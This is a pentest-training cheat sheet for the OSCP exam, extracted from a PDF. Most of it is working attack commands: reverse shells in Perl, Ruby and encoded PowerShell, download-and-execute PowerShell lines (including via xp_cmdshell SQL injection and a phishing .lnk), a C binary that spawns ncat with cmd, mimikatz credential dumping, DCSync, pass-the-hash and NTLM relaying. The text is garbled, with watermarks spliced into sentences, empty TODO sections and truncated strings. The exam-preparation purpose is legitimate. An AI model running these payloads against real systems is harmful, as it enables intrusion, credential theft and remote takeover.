OSCP Cheat Sheet
OSCP Cheat Sheet
Public
School
https://cyberpublicschool.com/
CYBER PUBLIC SCHOOL
https://cyberpublicschool.com/ PAGE||02
Table of Content
➢ Reverse Shells
➢ Cracking
➢ KeePass
➢ ssh key
➢ NTLM
➢ Net-NTLMv2
➢ AS-REP roasting
➢ Kerberoasting
➢ Tunneling
➢ socat
➢ ssh
➢ chisel
➢ Enumeration
➢ General
➢ Brute ForcingCYBER PUBLIC SCHOOL
➢ HTTP
➢ SMB
➢ SNMP
➢ Linux
➢ Windows
➢ Basic enumeration
➢ Files, services and History
➢ File transfer
➢ Automated tools
➢ Windows AD
➢ Exploitation
https://cyberpublicschool.com/ PAGE||03
➢ Web
➢ SQLi
➢ Linux
➢ Windows
➢ Windows AD
➢ Bruteforcing kerberos
➢ Kerberoasting
➢ AS-REP roasting
➢ DCsync attack
➢ Silver tickets
➢ Responder Net-NTLMv2 capture
➢ Net-NTLM relaying
➢ Client-Side
➢ Email phishing attack
➢ Post-Exploitation / Lateral Movement
➢ Linux
➢ Windows CYBER PUBLIC SCHOOL
➢ chisel and internal enumeration
➢ PsExec
➢ WMI, winRM and evil-winrm
➢ RDP
➢ pass the hash
➢ overpass the hash
➢ pass the ticket
➢ DCOM
➢ Golden ticket
➢ Shadow copies
➢ Reporting
https://cyberpublicschool.com/ PAGE||04
• Reverse Shells
o shell upgrade
o bash
o perl
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STR
EAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p
,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S")
;open(STDERR,">&S");exec("/bin/sh -i");};'
https://cyberpublicschool.com/ PAGE||05
o Ruby
ruby -rsocket -
e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec
sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’
o netcat
o listener endpoint
CYBER PUBLIC SCHOOL
msfconsole -x "use multi/handler;set payload
windows/x64/meterpreter/reverse_tcp; set lhost
192.168.45.235; set lport 7777; set ExitOnSession false;
exploit -j"
o powershell
powershell -c "iex(new-object
net.webclient).downloadstring(\"http://192.168.45.235:1
337/Invoke-PowerShellTcp.ps1\")"
https://cyberpublicschool.com/ PAGE||06
o create powershell one liner
pwsh
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText
powershell%20-
enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHM
AdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdA
AoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOAAzACIALAA0ADQANAA0ACkAOwAkAH
MAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQ
AoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1AD
UAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQ
BhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4A
TABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAo
CYBER PUBLIC SCHOOL
AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZ
QBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AF
MAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABi
AGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB
0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZ
QBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAH
QAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4A
HQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAd
ABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwB
yAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALg
BMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQ
AYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
https://cyberpublicschool.com/ PAGE||07
o After the oneline is created we can
import sys
import base64
payload = '$client = New-Object
System.Net.Sockets.TCPClient("192.168.118.10",443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-
Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " +
(pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($s
endbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " +
base64.b64encode(payload.encode('utf16')[2:]).decode()
CYBER PUBLIC SCHOOL
return cmd
powershell -nop -w hidden -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdA
AuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEAMQ
A4AC4AMQAwACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBl
AHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuAD
YANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtA
C4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkA
KQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAL
QBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbw
BkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAk
AHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABP
AHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAY
QBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQ
AcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAU
wBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlA
GEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4AT
ABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbg
B0AC4AQwBsAG8AcwBlACgAKQA =
https://cyberpublicschool.com/ PAGE||08
Cracking
KeePass
o First it we extract the password hash
ssh key
o First we extract the hash
ssh2john id_rsa > ssh.hash
https://cyberpublicschool.com/ PAGE||09
o or with hashcat
NTLM
o We can use hashcat with code 1000
hashcat -m 1000 nelly.hash rockyou.txt -r best64.rule --
force
Net-NTLMv2
o We can use hashcat with code 5600
CYBER
AS-REP roasting PUBLIC SCHOOL
o Suppose we perform a AS-REP attack over a windows AD
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -
outputfile hashes.asreproast corp.com/pete
https://cyberpublicschool.com/ PAGE||10
o Then we get the following hash
[email protected]:b24a619cfa585dc1894fd6924
162b099$1be2e632a9446d1447b5ea80b739075ad214a578f0377
3a7908f337aa705bcb711f8bce2ca751a876a7564bdbd4a926c10d
a32b01ec750cf35a2c37abde02f28b7aa363ffa1d18c9dd0262e43a
b6a5447db24f71256120f94c24b17b1df465beed362fcb14a539b4
e9678029f3b3556413208e8d644fed540d453e1af6f20ab909fd3d
9d35ea8b17958b56fd8658b147186042faaa686931b2b75716502
775d1a18c11bd4c50df9c2a6b5a7ce2804df3c71c7dbbd7af7adf30
92baa56ea865dd6e6fbc8311f940cd78609f1a6b0cd3fd150ba402f
14fccd90757300452ce77e45757dc22
https://cyberpublicschool.com/ PAGE||11
o Then we get the following
$krb5tgs$23$*iis_service$corp.com$HTTP/web04.corp.com:80@
corp.com*$940AD9DCF5DD5CD8E91A86D4BA0396DB$F57066A4
F4F8FF5D70DF39B0C98ED7948A5DB08D689B92446E600B49FD5
02DEA39A8ED3B0B766E5CD40410464263557BC0E4025BFB92D8
9BA5C12C26C72232905DEC4D060D3C8988945419AB4A7E7ADEC
407D22BF6871D...
...
https://cyberpublicschool.com/ PAGE||12
Tunneling
o socat
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
ssh
o Four different types of tunnel:
• Local port forwarding: Created with option -L
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 user@server
https://cyberpublicschool.com/ PAGE||13
o We can then stop our ssh server
sudo systemctl stop ssh
https://cyberpublicschool.com/ PAGE||14
o and then we connect to it from the remote machine using
our IP during the connection.
chisel64.exe client 192.168.45.217:8000 R:socks
https://cyberpublicschool.com/ PAGE||15
Enumeration
General
o Nmap port scanning
nmap -sC -sV <IP>
nmap -p- <IP>
sudo nmap -sU -p161 <IP>
proxychains nmap -sT --top-ports=100 -Pn <IP>
https://cyberpublicschool.com/ PAGE||16
o KeePass database
kpcli --kdb=Database.kdbx
kpcli:/Database/Network> show -f 0
exiftool -a file.pdf
Brute Forcing
o Brute forcing RDP with hydra
hydra -l user -P rockyou.txt rdp://192.168.50.202
https://cyberpublicschool.com/ PAGE||17
o Brute forcing HTTP POST login with hydra
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201
http-post-form
"/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
HTTP
o gobuster directory mode
gobuster dir -t20 --wordlist
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u
http://192.168.216.121 -x aspx
o wfuzz
wfuzz -w
/home/kali/repos/projects/SecLists/Discovery/DNS/subdomains
-top1million-110000.txt
http://192.168.238.150:8080/search?FUZZ=FUZZ
https://cyberpublicschool.com/ PAGE||18
o kiterunner to enumerate API endpoints
kiterunner scan http://192.168.243.143/api/ -w routes-small.kite
-x 20
# enumerate everything
wpscan --url http://10.10.10.88/webservices/wp/index.php --
proxy 127.0.0.1:8080 --enumerate ap tt at
https://cyberpublicschool.com/ PAGE||19
SMB
o nmap to get basic info
CYBER
o password spraying PUBLIC SCHOOL
crackmapexec smb 192.168.242.147 -u usernames.txt -p
Diamond1 --shares
https://cyberpublicschool.com/ PAGE||20
SNMP
o Download necessary stuff to deal with SNMP extended
objects
sudo apt-get install snmp-mibs-downloader
download-mibs
sudo nano /etc/snmp/snmp.conf (comment line saying "mibs :")
o Simple walk
snmpbulkwalk -c public -v2c 192.168.238.149 > out.txt
o Enumerate CYBER
extendedPUBLIC
objects SCHOOL
snmpwalk -v1 -c public 192.168.221.156 NET-SNMP-EXTEND-
MIB::nsExtendObjects
https://cyberpublicschool.com/ PAGE||21
Linux
o Linenum
curl http://192.168.45.198/linenum.sh > linenum.sh
chmod +x linenum.sh
./linenum.sh | tee linenum_output.tx
o linpeas
o SGID files
find / -perm -g=s -type f 2>/dev/null
https://cyberpublicschool.com/ PAGE||22
o print env variables
env
Windows
• Basic enumeration
o operating system, version and architecture
systeminfo
o launch powershell
powershell -ep bypass
o list my user
whoami
o list my groups
whoami /groups
o list users
net user
https://cyberpublicschool.com/ PAGE||23
o list my users details
net user <MY-NAME>
o existing groups
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember <GROUP-NAME>
o network information
ipconfig /all
route print
netstat -ano
o get env variables
dir env: CYBER PUBLIC SCHOOL
o installed apps (32 bit)
Get-ItemProperty
"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\Curren
tVersion\Uninstall\*" | select displayname
https://cyberpublicschool.com/ PAGE||24
o running processes
Get-Process
o get permissions
icacls auditTracker.exe
o Search history
(Get-PSReadlineOption).HistorySavePath
type
C:\Users\dave\AppData\Roaming\Microsoft\Windows\PowerSh
ell\PSReadLine\ConsoleHost_history.txt
type C:\Users\Public\Transcripts\transcript01.txt
https://cyberpublicschool.com/ PAGE||25
o Connect to MSSQL database
impacket-mssqlclient Administrator:[email protected] -
windows-auth
File transfer
https://cyberpublicschool.com/ PAGE||26
o Typical files to transfer
iwr -uri http://192.168.45.159:1337/ncat.exe -Outfile ncat.exe
iwr -uri http://192.168.45.159:1337/mimikatz64.exe -Outfile
mimikatz64.exe
iwr -uri http://192.168.45.159:1337/chisel64.exe -Outfile chisel64.exe
https://cyberpublicschool.com/ PAGE||27
o Start SMB server
impacket-smbserver smbfolder $(pwd) -smb2support -user kali -
password kali
cd kali:
copy kali:\PrintSpoofer64.exe C:\TEMP
copy kali:\ncat.exe C:\TEMP
copy kali:\SharpHound.exe C:\TEMP
Automated tools
CYBER PUBLIC SCHOOL
o winPEASx64https://github.com/carlospolop/PEASSng/tree/
master/winPEAS
o Issue with latest build of missing DLL. To fix use this release
https://github.com/carlospolop/PEASSng/releases/tag/2023
0423-4d9bddc5
iwr -uri http://192.168.45.159:1337/winpeas64.exe -Outfile
winpeas64.exe
./winPEASx64.exe
https://cyberpublicschool.com/ PAGE||28
—-
o PrivescCheck https://github.com/itm4n/PrivescCheck
Windows AD
o List all currently joined machine in the AD
Get-ADComputer -Filter * -Properties Name -Server "medtech.com"
Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem,
OperatingSystemServicePack | Format-List name, ipv4*, oper*
https://cyberpublicschool.com/ PAGE||29
SharpHound & BloodHound
o transfer sharphound into the remote machine, collect data
and transfer data back to attacker machine
iwr -uri http://192.168.45.159:1337/SharpHound.exe -Outfile
SharpHound.exe
./SharpHound.exe --CollectionMethods All
o launch bloodhound
./BloodHound --no-sandbox
https://cyberpublicschool.com/ PAGE||30
Exploitation
Web
SQLi
o Basic SQLi
' OR 1=1 --
o XP_CMDSHELL in mssql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
' ; EXEC xp_cmdshell 'powershell -c "iex(new-object
net.webclient).downloadstring(\"http://192.168.45.248:1337/Invoke-
PowerShellTcp.ps1\")" '; --
o Union select
CYBER PUBLIC SCHOOL
username=' UNION SELECT 'nurhodelta','password','c','d','f','a','a' --
&password=password&login=
https://cyberpublicschool.com/ PAGE||31
Linux
o Add root user to passwd file (root2:w00t)
Windows
TODO:
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e2
9f3cb5c5c4a
CYBER PUBLIC SCHOOL
https://github.com/r3motecontrol/GhostpackCompiledBinaries
https://github.com/PowerShellMafia/PowerSploit/blob/master/
Privesc/PowerUp.ps1
o three steps to get reverse shell using unreliable exploit
payload_1 = f'cmd.exe /c mkdir C:\TEMP'.encode('utf-8')
payload_3 = f'powershell -c "iwr -uri http://192.168.45.215/shell.exe -
Outfile C:\TEMP\shell.exe"'.encode('utf-8')
payload_4 = f'cmd.exe /c "C:\TEMP\shell.exe"'.encode('utf-8')
https://cyberpublicschool.com/ PAGE||32
SQLi using xp_cmdshell
o First we enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
https://cyberpublicschool.com/ PAGE||33
o Dumping logon passwords with mimikatz
./mimikatz64.exe "privilege::debug" "sekurlsa::logonPasswords full"
"exit"
int main ()
{
system("C:\TEMP\ncat.exe 192.168.45.217 7777 -e cmd");
return 0;
}
https://cyberpublicschool.com/ PAGE||34
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
https://cyberpublicschool.com/ PAGE||35
Windows AD
o Bruteforcing kerberos
https://github.com/ropnop/kerbrute
TODO: bruteuser TODO: bruteforce TODO: paswordspray
TODO: userenum
Kerberoasting
o through socks proxy using creds of web_svc
proxychains impacket-GetUserSPNs -request -dc-ip 10.10.132.146
oscp.exam/web_svc
Targeted kerberoasting
• leverage permission GenericWrite or GenericAll in order to
set a particular SPN for a target user.
• kerberoast that user and crack its passwords
• remove the assigned SPN.
o AS-REP roasting
https://cyberpublicschool.com/ PAGE||36
proxychains impacket-GetNPUsers -dc-ip 192.168.221.70 -request -
outputfile hashes corp.com/pete
https://cyberpublicschool.com/ PAGE||37
o Using mimikatz, provide the user for which we want to
obtain creds
lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator
o using impacket-secretsdump.
impacket-secretsdump -just-dc-user dave
corp.com/jeffadmin:"password"@192.168.50.70
Silver tickets
With the service account password or its associated NTLM
hash at hand, we can forge our own service ticket to access
the target resource (in our example, the IIS application) with
any permissions we desire. This custom-created ticket is
known as a silver ticketPUBLIC
CYBER and if the service principal name is
SCHOOL
used on multiple servers, the silver ticket can be leveraged
against them all.
We need to collect the following three pieces of information
to create a silver ticket:
• SPN password hash
• Domain SID
• Target SPN
https://cyberpublicschool.com/ PAGE||38
o To get the password hash of the SPN we can use a tool like
mimikatz. To get the domain SID we can do whoami /user
corp\jeff S-1-5-21-1987370270-658905905-1781884369-1105
https://cyberpublicschool.com/ PAGE||39
• Then we force the connection from the remote target
using a compromised account of which we do not know
the NTLM hash
dir \\192.168.45.159\test
Net-NTLM relaying
The idea now is to relay an NTLM info to another windows
service. We can do this when we gain access to a user account
in a machine, and we want to use its NTLM hash in another
machine. If the relayed authentication is from a user with
local administrator
CYBER privileges,
PUBLIC we SCHOOL
can use it to authenticate
and then execute commands over SMB with methods similar
to those used by psexec or wmiexec.
We can perform this attack using ntlmrelayx. Notice here is
that -t refers to the target we're relaying the NTLM hash to,
while -c is for the command to execute. In this case we're
executing a powershell reverse shell that was encoded in
base64.
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212
-c "powershell -enc JABjAGwAaQBlAG4AdA..."
https://cyberpublicschool.com/ PAGE||40
Client-Side
Email phishing attack
o First we install and enable our webdav server
pip3 install wsgidav
pip3 install cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root
webdav/
https://cyberpublicschool.com/ PAGE||41
o We craft a malicious powershell.lnk that contains our
powershell payload. This step has to be done in a windows
VM.
powershell -c "iex(new-object
net.webclient).downloadstring('http://192.168.45.239:1337/Invoke-
PowerShellTcp.ps1')"
https://cyberpublicschool.com/ PAGE||42
Post-Exploitation / Lateral Movement
Here mainly stuff on windows AD, after we root a machine all
the steps we need to take to proceed further and extract all
data for the next machine until we get to the domain user.
Linux
Install cronjob to spawn reverse shell every minute at my IP
TODO
Windows
o enumerate ports
https://cyberpublicschool.com/ PAGE||43
o enumerate services
proxychains crackmapexec smb IP1 IP2 -u USERNAME -p PASSWORD --
shares
proxychains crackmapexec winrm IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec rdp IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec ssh IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec smb IP1 IP2 -u USERNAME -H NTLM-HAHSH
--shares
PsExec
To use this tool we need:
• user that authenticates to the target machine needs to be
a part of the Administrators local group.
• ADMIN$ share must be available
• File and Printer Sharing has to be turned on
The last two CYBER PUBLIC
requirements SCHOOL
are met by default settings on
modern Windows Server Systems.
—
Pass the NTLM hash of admin to get shell on remote target
• First we dump password with mimikatz
./mimikatz64.exe "privilege::debug" "token::elevate" "lsadump:sam"
https://cyberpublicschool.com/ PAGE||44
• Then we use the hash with psexec. Notice the format
"LMHash:NTHash", where LMHash is set to 0 because we
do not use it.
impacket-psexec -hashes
00000000000000000000000000000000:7a39311ea6f0027aa955abed1
762964b [email protected]
impacket-wmiexec -hashes
00000000000000000000000000000000:7a32350ea6f0028ff955abed17
62964b [email protected]
https://cyberpublicschool.com/ PAGE||45
$username = 'jen';
$password = 'password';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object
System.Management.Automation.PSCredential $username,
$secureString;
https://cyberpublicschool.com/ PAGE||46
o To spawn a shell simply do
winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0
ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AH
MALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHM
AZQAoACkA"
—-
o We can also use powershell via the New-PSSession cmdlet
$username = 'jen';
$password = 'password';
$secureString = ConvertTo-SecureString $password -AsPlaintext -
Force;
$credential = New-Object
System.Management.Automation.PSCredential $username,
$secureString;
CYBER PUBLIC SCHOOL
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1
—-
o Finally, we can use evil-winrm, which can be used either
with the password (-p) or with the hash (-H)
proxychains evil-winrm -i 192.168.243.153 -u administrator -p
Password
proxychains evil-winrm -i 10.10.132.146 -u tom_admin -H
4979f69d4cb77845c075c41cf45f24dc
https://cyberpublicschool.com/ PAGE||47
RDP
o Set up RDP by enabling RDP and adding administrator to
RDP group
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
# enable RDP
Set-ItemProperty -Path
'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name
"fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
https://cyberpublicschool.com/ PAGE||48
o Enabled RDP remotely (first we open the port and
configure the server, then we create a new user)
Set-ItemProperty -Path
'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name
"fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Set-ItemProperty -Path
'HKLM:\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
https://cyberpublicschool.com/ PAGE||49
o The basic idea is that the attacker connects to the victim
using the Server Message Block (SMB) protocol and
performs authentication using the NTLM hash. Note that
PtH uses the NTLM hash legitimately. However, the
vulnerability lies in the fact that we gained unauthorized
access to the password hash of a local administrator.
We can use various tools such as:
• crackmapexec
crackmapexec smb 192.168.242.147 -u web_svc -H
820d6348890893116990101307197052
• evil-winrm
proxychains evil-winrm -i 192.168.243.153 -u administrator -p
Password
CYBER
• impacket-psexec PUBLIC SCHOOL
impacket-psexec -hashes
00000000000000000000000000000000:7a38310ea6f0038ee955abed1
762964b [email protected]
• impacket-wmiexec
impacket-wmiexec -hashes
00000000000000000000000000000000:7a38310ea6f0038ee955abed1
762964b [email protected]
https://cyberpublicschool.com/ PAGE||50
overpass the hash
With overpass the hash, we can "over" abuse an NTLM user
hash to gain a full Kerberos Ticket Granting Ticket (TGT). Then
we can use the TGT to obtain a Ticket Granting Service (TGS).
The idea is to turn the NTLM hash into a Kerberos ticket and
avoid the use of NTLM authentication. A simple way to do this
is with the sekurlsa::pth command from Mimikatz.
https://cyberpublicschool.com/ PAGE||51
pass the ticket
The Pass the Ticket attack takes advantage of the TGS, which
may be exported and re-injected elsewhere on the network
and then used to authenticate to a specific service. If the
service tickets belong to the current user, then no
administrative privileges are required.
o First we export all TGT/TGS tickets from memory within the
jen session using the command sekurlsa::tickets /export.
This command parses the LSASS process space in memory
in order to look for any TGT/TGS, which are saved to disk in
the kirbi mimikatz format.
PS C:\Windows\system32> whoami
corp\jen
kerberos::ptt [0;12bd0][email protected]
https://cyberpublicschool.com/ PAGE||52
o and now we can run klist in order to print the current
available tickets
klist
TODO DCOM
Reporting
https://cyberpublicschool.com/ PAGE||53
• 📝 Re-use your Markdown notes, you'll be so glad not
having to reformat the bold and italic from your
Markdown notes into the report
• 🔒 Version control ready, save your markdown template
into a PRIVATE git repository, you now have an
incremental backup, version control works with Markdown
(.md) as it's text but not with binaries (.doc, .odt)
• 🖊️ Use your favorite editor or note taking app, with
Markdown you'll be able to use your favorite editor
(VSCode, Atom, etc.) or note taking app (Vnote,
QOwnNotes, Boostnote, etc.) to write your exam report,
you won't have to switch to Windows to use MS Word.
• 🎩 Clean & professional style, a professional looking
report for your professional certification
• 👌 Error free, use the generation script to generate the
report and archive, you won't do any submission format
CYBERthat
and name mistake PUBLIC
way SCHOOL
https://cyberpublicschool.com/ PAGE||54
Contacts us
https://cyberpublicschool.com/
https://www.instagram.com/cyberpublicschool/
https://cyberpublicschool.com/ PAGE||55